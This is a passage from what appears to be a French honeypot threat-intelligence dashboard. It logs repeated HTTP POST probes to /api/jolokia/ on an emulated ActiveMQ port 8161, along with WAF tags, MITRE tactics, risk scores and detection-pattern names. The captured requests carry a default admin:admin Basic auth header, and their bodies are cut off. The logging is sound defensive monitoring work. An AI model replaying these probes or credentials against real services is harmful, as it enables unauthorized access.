"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Moyen · 61
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
22
Recommandation
Investiguer
Tags
950406:ssrf-3
950468:nosqli-3
950470:nosqli-3
950600:k8s-api
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Type « http_smuggling_probe » (signaux protocolaires) · confiance 95%
Confiance classification
95%
Risque capteur
Moyen
· 61
Confiance : Confiance 95 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4=
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 249,
"payload_entropy": 5.174299053887567,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 96,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 4.1,
"risk_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 61,
"tag_count": 8,
"anomaly_count": 0,
"campaign_key": "1d85fac6ac36c805e30cc3064bb6e92d542e6d34",
"event_fingerprint": "a111ac4f64eb04b3a2e184becbb75d20989be518",
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 61
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "33e95850265b639df64c70345481f2f4",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 61
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "675aa9b96ab955e003e0a7b5a9fed4b10fca5c14",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"classification_reason_label_fr": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 61\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 61
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 61,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 96 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_probe_api",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
